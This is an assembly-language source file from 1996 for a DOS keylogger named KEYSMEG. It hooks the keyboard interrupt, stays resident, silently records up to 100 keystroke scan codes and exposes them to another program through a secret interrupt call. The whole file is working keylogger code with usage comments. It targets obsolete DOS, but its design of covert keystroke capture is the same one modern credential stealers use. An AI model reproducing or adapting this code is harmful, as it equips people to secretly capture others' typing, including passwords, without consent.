; KEYSMEG.8 - For A86 Assmebler
; (c) 1996  - E-mail: shawkie@geocities.com

; This program hooks Interrupt 09h - Keyboard Data Ready and saves key scan
; codes in a 100 character buffer.
; Once the buffer is full, no more characters are saved until an external
; program sets BUFLEN to 0000. To find the address of BUFLEN do:
;       MOV AX,0CAFFh
;       INT 09h
; The address is returned as ES:BX (The address of BUFFER is ES:BX+2)
; Most break codes are not saved.

MAIN:   MOV BX,BUFLEN
        MOV W[BX],0000h       ;Zero BUFLEN
        MOV AX,3509h
        INT 21h               ;Get address of old handler
        MOV DI,O_OLDI     
        MOV [DI+2],ES     
        MOV [DI],BX           ;Save it!
        MOV AX,2509h      
        MOV DX,NEWINT     
        INT 21h               ;Set new handler
        MOV DX,2Ch            ;Keep 2Ch paragraphs resident
        MOV AH,31h        
        INT 21h               ;Teminate and stay resident

NEWINT: PUSHF                 ;New handler
        CMP AX,0CAFFh
        JE  DUMP              ;Prepare to dump scan codes
        PUSHA
        PUSH DS
        MOV DS,CS
        IN  AL,60h            ;Read scan code from keyboard port
        CMP AL,057h
        JB  USEKEY            ;Make code
        CMP AL,0AAh
        JE  USEKEY            ;{Left Shift} break code
        CMP AL,0B6h
        JE  USEKEY            ;{Right Shift} break code
        CMP AL,0B8h
        JE  USEKEY            ;{Alt} break code
        CMP AL,0E0h
        JE  USEKEY            ;{Num Pad Key Prefix}
        JMP QUIT              ;Ignore
USEKEY: MOV BX,BUFLEN
        CMP W[BX],63h
        JA  QUIT              ;Buffer full
        MOV DI,W[BX]
        ADD DI,BUFFER
        MOV [DI],AL           ;Add scancode to buffer
        INC W[BX]             ;Increment BUFLEN
        MOV AX,W[BX]
QUIT:   POP DS
        POPA
        POPF                  ;Restore registers + flags
        CS:
        JMP D[O_OLDI]         ;Jump to old handler
DUMP:   PUSH DS
        MOV DS,CS
        MOV BX,BUFLEN         ;Set BX as offset
        MOV ES,CS             ;Set ES as segment
        POP DS
        POPF                  ;Restore registers + flags
        IRET

O_OLDI: DW ?,?                ;Old handler
BUFLEN: DW ?                  ;Bytes written to buffer
BUFFER: DB 102 ?              ;Buffer